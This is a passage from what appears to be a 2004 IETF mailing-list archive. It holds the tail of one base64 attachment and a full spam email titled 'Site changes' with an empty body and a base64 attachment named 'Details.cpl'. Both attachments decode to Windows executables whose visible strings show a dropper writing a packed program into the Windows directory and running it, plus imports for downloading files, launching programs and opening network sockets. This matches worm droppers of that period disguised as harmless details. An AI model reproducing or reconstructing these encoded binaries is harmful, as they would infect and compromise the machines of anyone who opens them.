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
YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA
AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA
kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A
/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3
d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA
AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA
Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////
////////////////////////////////////////////////////////////////////////
////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB////////
//////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA
AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA
oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA
AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA
AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1
AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA
2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s
ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA
d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz
AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA
U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm
QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAFRwwm1Z6tIpFuz03
JmS4L7HDWBUmdUQ/v6m2sj+UPa4Hq0W9HEAwImqOVo1cLzKVWI2jbjoEPje3p1dOU6J8XFfD
gHSnFkkDXbEyX3tRUT0HYHSfQq2EkTMUAsSkCQxnSjI9VsKuqwJQnH6GvRApGRghTbA5Xhox
aSK2UrJ3Qzp0BXoOgBxCfLk+JLJ0X4R6UT88MlFCtrqdHjJWRFVBT4NMfcVPojGatq90hmR7
iIutRwdEuaJvcq6gS7V7jkmjRIIAbKMOo1UudmYOPgILL64KvVoacmCObam3djQ7FIo0Sy+h
mp9fZW8elhZuv5MyW2GajwSlOkQaA0YbUkprnziRSUR1P729v1NJWEGbUg8ZP2Z8kA+KBU1i
Vk1DrzCcqrVsLmkGO2cmqhGQNBx7Lqd/wb+cRo0Mu2gNk1NyciNPMyw8a4ymL7l5gGOuHJuS
FoROaGVXfi1hTx0yc1dPU6gHfQtxmrWJQC+fp0BHgQ1bs0aZZH9MVxIRTgeTc8eiUJ+gJTti
J8bGG0Q6nHvDtmyBmXuww2K+nXqovzFGUQstbLwfXG4fkb/DZVITM2YZX7wmkTSdjrV6JRaQ
rLFpLo6UMyB0KnMzlkhDllnBmhGbXHYwhcZIWppVx1g1Km0qgHk2jkQuKSN4jjR4MCWcYouB
pweIcZqSo6aIdXJtMw==

----------nbwdxsxwqoctaumpfcmi--




From owner-multi6@ops.ietf.org  Thu May 13 09:24:42 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11192
	for <multi6-archive@lists.ietf.org>; Thu, 13 May 2004 09:24:41 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BOGAp-000HAO-4Y
	for multi6-data@psg.com; Thu, 13 May 2004 13:22:55 +0000
Received: from [193.136.195.3] (helo=gab54-1.net)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BOGAl-000H9f-BS
	for multi6@ops.ietf.org; Thu, 13 May 2004 13:22:51 +0000
Date: Thu, 13 May 2004 14:28:08 +0000
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: Site changes
Message-ID: <xwbfyzbikmjtbrldpfq@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------vhsdgzwhjmxoisameypk"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-0.8 required=5.0 tests=AWL,BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------vhsdgzwhjmxoisameypk
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
  

<br>
</body></html>

----------vhsdgzwhjmxoisameypk
Content-Type: application/octet-stream; name="Details.cpl"
Content-Disposition: attachment; filename="Details.cpl"
Content-Transfer-Encoding: base64

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA
ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAA3H4AAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA
ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA
AAAAAAAAAAAAAEAAAEIAAAAAAAAAANxOAAAAMAAA3E4AAAAGAAAAAAAAAAAAAAAAAAAgAADg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA
AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ
AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA
6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0
b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl
Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo
ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4
AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt
kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l
fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ
AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2E4AAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA
AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA
7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA
AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA
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
